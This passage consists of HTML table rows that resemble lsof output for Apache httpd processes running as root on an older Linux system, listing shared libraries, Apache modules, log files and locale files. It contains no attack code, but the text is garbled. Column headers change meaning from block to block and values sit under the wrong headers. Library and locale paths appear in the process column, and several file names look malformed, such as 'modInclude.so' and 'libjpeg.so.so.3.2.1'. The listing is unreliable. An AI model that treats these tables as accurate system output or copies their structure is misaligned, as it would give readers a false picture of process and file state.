<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>0</td>
<td>CHR</td>
<td>1,3</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>1w</td>
<td>CHR</td>
<td>1,3</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>2w</td>
<td>REG</td>
<td>3,6</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3,6</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>1w</td>
<td>REG</td>
<td>3,6</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>17u</td>
<td>IPv4</td>
<td>361263</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>18w</td>
<td>REG</td>
<td>3,6</td>
</tr>
<tr>
<td>httpd</td>
<td>19371</td>
<td>root</td>
<td>19w</td>
<td>REG</td>
<td>3,6</td>
</tr>
<tr>
<td>httpd</td>
<td>19372</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>1,3</td>
</tr>
<tr>
<td>httpd</td>
<td>19372</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>1,3</td>
</tr>
<tr>
<td>httpd</td>
<td>19372</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19372</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19372</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>19372</td>
<td>root</td>
<td>REG</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>Process</td>
<td>User</td>
<td>Group</td>
<td>PID</td>
<td>License</td>
<td>Resource Path</td>
</tr>
<tr>
<td>---------</td>
<td>------</td>
<td>-------</td>
<td>------</td>
<td>---------</td>
<td>---------------</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19373</td>
<td>REG</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19373</td>
<td>REG</td>
<td>/var/log/httpd/error_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/var/log/httpd/access_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/apache/mod_vhost_alias.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/apache/mod_env.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/apache/mod_log_config.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/apache/mod_log_referer.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/apache/mod_dir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/lib/i686/libpthread-0.9.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/lib/i686/libm-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/lib/libcrypt-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/libgdbm.so.2.0.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/lib/libdb-3.3.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/libmm.so.11.0.23</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/libexpat.so.0.1.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/lib/libdl-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/apache/mod_mime.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/apache/mod_negotiation.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/apache/mod_status.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/apache/modInclude.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/apache/mod_autoindex.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/apache/mod_userdir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/apache/mod_rewrite.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/apache/mod_auth.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/apache/mod_access.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/apache/mod_expires.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/apache/mod_headers.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>root</td>
<td>19374</td>
<td>REG</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_MESSAGES</td>
</tr>
<tr>
<td>Process</td>
<td>User</td>
<td>Mode</td>
<td>Location</td>
<td>Size</td>
<td>Permissions</td>
</tr>
<tr>
<td>--------------</td>
<td>---------</td>
<td>------</td>
<td>---------------------------</td>
<td>------------</td>
<td>-------------</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 141735</td>
<td>65380</td>
<td>/usr/lib/apache/libexpat.so.0.1.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 12102</td>
<td>63503</td>
<td>/lib/libxml2.so.2.4.19</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 14929</td>
<td>229516</td>
<td>/usr/lib/apache/mod_mime.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 27415</td>
<td>229519</td>
<td>/usr/lib/apache/mod_negotiation.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 18365</td>
<td>229523</td>
<td>/usr/lib/apache/mod_status.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 19959</td>
<td>229512</td>
<td>/usr/lib/apache/mod_info.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 35886</td>
<td>229511</td>
<td>/usr/lib/apache/mod_include.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 27836</td>
<td>229501</td>
<td>/usr/lib/apache/mod_autoindex.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 14940</td>
<td>229503</td>
<td>/usr/lib/apache/mod_cgi.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 6924</td>
<td>229496</td>
<td>/usr/lib/apache/mod_asis.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 15974</td>
<td>229510</td>
<td>/usr/lib/apache/mod_imap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 8541</td>
<td>229494</td>
<td>/usr/lib/apache/mod_actions.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 8770</td>
<td>229525</td>
<td>/usr/lib/apache/mod_userdir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 10617</td>
<td>229495</td>
<td>/usr/lib/apache/mod_alias.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 53189</td>
<td>229520</td>
<td>/usr/lib/apache/mod_rewrite.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 10034</td>
<td>229493</td>
<td>/usr/lib/apache/mod_access.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 11985</td>
<td>229497</td>
<td>/usr/lib/apache/mod_auth.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 8486</td>
<td>229498</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 9304</td>
<td>229499</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 9900</td>
<td>229508</td>
<td>/usr/lib/apache/mod_expires.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 8261</td>
<td>229509</td>
<td>/usr/lib/apache/mod_headers.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 10176</td>
<td>229521</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 92407</td>
<td>40046</td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>/usr/kerberos/lib/libgssapi_krb5.so.2.2</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 11174</td>
<td>63541</td>
<td>/lib/libutil-2.2.5.5.so</td>
</tr>
<tr>
<td>/usr/kerberos/lib/libgssapi_krb5.so.2.2</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 122952</td>
<td>229529</td>
<td>/usr/lib/apache/libdbv.so</td>
</tr>
<tr>
<td>/usr/kerberos/lib/libgssapi_krb5.so.2.2</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 210094</td>
<td>229531</td>
<td>/usr/lib/apache/libssl.so.0.9.6b</td>
</tr>
<tr>
<td>/usr/kerberos/lib/libgssapi_krb5.so.2.2</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 1453198</td>
<td>425001</td>
<td>/lib/libpam.so.0.75</td>
</tr>
<tr>
<td>/usr/kerberos/lib/libgssapi_krb5.so.2.2</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 8621</td>
<td>440043</td>
<td>/usr/kerberos/lib/libcom_err.so.3.0</td>
</tr>
<tr>
<td>/usr/kerberos/lib/libgssapi_krb5.so.2.2</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 20666</td>
<td>114263</td>
<td>/lib/libgconv/gconv-modules.cache</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 65</td>
<td>130316</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 161</td>
<td>130310</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 83</td>
<td>130314</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 40</td>
<td>130315</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 58</td>
<td>179360</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 292</td>
<td>130313</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 22592</td>
<td>130323</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 89424</td>
<td>63507</td>
<td>/lib/libnsl-2.2.5.5.so</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 1561021</td>
<td>229551</td>
<td>/usr/lib/php4/imap.so</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 35030</td>
<td>66039</td>
<td>/usr/lib/libxml2-modules.so.0.1.0.1</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 426442</td>
<td>65304</td>
<td>/lib/libstdc++.so.4.2.2-2.10.0.so</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 131560</td>
<td>65396</td>
<td>/usr/lib/libpng.so.2.0.10.12</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 59770</td>
<td>65358</td>
<td>/usr/lib/libz.so.1.1.3</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 146819</td>
<td>66089</td>
<td>/usr/lib/libcurl.so.2.0.2</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 924879</td>
<td>63562</td>
<td>/lib/libcrypto.so.0.9.6b</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 207008</td>
<td>63563</td>
<td>/lib/libssl.so.0.9.6b</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 68925</td>
<td>63535</td>
<td>/lib/libresolv-2.2.5.so</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 153026</td>
<td>66042</td>
<td>/usr/lib/libpspell.so.4.0.3</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 290511</td>
<td>65311</td>
<td>/usr/lib/libnssutil.so.5.2</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 215482</td>
<td>65386</td>
<td>/usr/lib/libjpeg.so.so.3.2.1</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 196866</td>
<td>66287</td>
<td>/usr/lib/libgd.so.1.8.4</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 717774</td>
<td>65410</td>
<td>/usr/lib/libxml2.so.2.4.19</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 66646</td>
<td>65263</td>
<td>/usr/lib/libbz2.so.1.0.2</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 189626</td>
<td>65384</td>
<td>/usr/lib/libttf.so.2.3.0</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 295833</td>
<td>65382</td>
<td>/usr/lib/libfreetype.so.6.3.0</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG 3,2 140418</td>
<td>65389</td>
<td>/usr/lib/libjpeg.so.62.0.0</td>
</tr>
<tr>
<td>File Path</td>
<td>Owner</td>
<td>Mode</td>
<td>Size</td>
<td>Permissions</td>
<td></td>
</tr>
<tr>
<td>---------------------------------------------------------------------------</td>
<td>-------</td>
<td>------</td>
<td>--------</td>
<td>-------------</td>
<td></td>
</tr>
<tr>
<td>/usr/kerberos/lib/libk5crypto.so.0.3.0</td>
<td>19375</td>
<td>root</td>
<td>3,2</td>
<td>79725</td>
<td></td>
</tr>
<tr>
<td>/usr/kerberos/lib/libkrb5.so.0.3.1</td>
<td>19375</td>
<td>root</td>
<td>3,2</td>
<td>42069</td>
<td></td>
</tr>
<tr>
<td>/usr/kerberos/lib/libkrb5.so.0.3.1</td>
<td>19375</td>
<td>root</td>
<td>3,2</td>
<td>44992</td>
<td></td>
</tr>
<tr>
<td>/usr/kerberos/lib/libkrb5.so.0.3.1</td>
<td>19375</td>
<td>root</td>
<td>3,5</td>
<td>49415</td>
<td></td>
</tr>
<tr>
<td>/usr/kerberos/lib/libkrb5.so.0.3.1</td>
<td>19375</td>
<td>root</td>
<td>3,2</td>
<td>2457</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TIME</td>
<td>19375</td>
<td>root</td>
<td>3,2</td>
<td>60</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NUMERIC</td>
<td>19375</td>
<td>root</td>
<td>3,2</td>
<td>173680</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
<td>19375</td>
<td>root</td>
<td>3,2</td>
<td>1264225</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>19375</td>
<td>root</td>
<td>3,2</td>
<td>8192</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
<td>19375</td>
<td>root</td>
<td>3,5</td>
<td>89547</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TIME</td>
<td>19375</td>
<td>root</td>
<td>3,2</td>
<td>371</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>19376</td>
<td>root</td>
<td>3,5</td>
<td>101902</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
<td>19376</td>
<td>root</td>
<td>3,2</td>
<td>9883</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TIME</td>
<td>19376</td>
<td>root</td>
<td>3,5</td>
<td>32882</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>19376</td>
<td>root</td>
<td>3,5</td>
<td>655224</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
<td>19376</td>
<td>root</td>
<td>3,2</td>
<td>19662</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TIME</td>
<td>19376</td>
<td>root</td>
<td>3,5</td>
<td>141735</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>19376</td>
<td>root</td>
<td>3,2</td>
<td>8530</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
<td>19376</td>
<td>root</td>
<td>3,5</td>
<td>12102</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TIME</td>
<td>19376</td>
<td>root</td>
<td>3,2</td>
<td>14929</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>19376</td>
<td>root</td>
<td>3,2</td>
<td>27415</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
<td>19376</td>
<td>root</td>
<td>3,5</td>
<td>18365</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TIME</td>
<td>19376</td>
<td>root</td>
<td>3,2</td>
<td>19959</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>19376</td>
<td>root</td>
<td>3,2</td>
<td>35886</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
<td>19376</td>
<td>root</td>
<td>3,2</td>
<td>27836</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TIME</td>
<td>19376</td>
<td>root</td>
<td>3,2</td>
<td>14940</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>19376</td>
<td>root</td>
<td>3,2</td>
<td>6924</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
<td>19376</td>
<td>root</td>
<td>3,2</td>
<td>10617</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TIME</td>
<td>19376</td>
<td>root</td>
<td>3,2</td>
<td>10034</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>19376</td>
<td>root</td>
<td>3,2</td>
<td>11985</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
<td>19376</td>
<td>root</td>
<td>3,2</td>
<td>8486</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TIME</td>
<td>19376</td>
<td>root</td>
<td>3,2</td>
<td>9304</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>19376</td>
<td>root</td>
<td>3,2</td>
<td>9900</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
<td>19376</td>
<td>root</td>
<td>3,2</td>
<td>8261</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TIME</td>
<td>19376</td>
<td>root</td>
<td>3,2</td>
<td>10176</td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>19376</td>
<td>root</td>
<td>3,2</td>
<td>92407</td>
<td></td>
</tr>
<tr>
<td>Process</td>
<td>User</td>
<td>Address</td>
<td>Access</td>
<td>Size</td>
<td>Path</td>
</tr>
<tr>
<td>---------</td>
<td>--------</td>
<td>-----------</td>
<td>--------</td>
<td>-----------</td>
<td>-----------------------------------------</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,5</td>
<td>11174</td>
<td>/lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>122952</td>
<td>/usr/lib/apache/libdav.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>210094</td>
<td>/usr/lib/apache/libssl.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>20666</td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
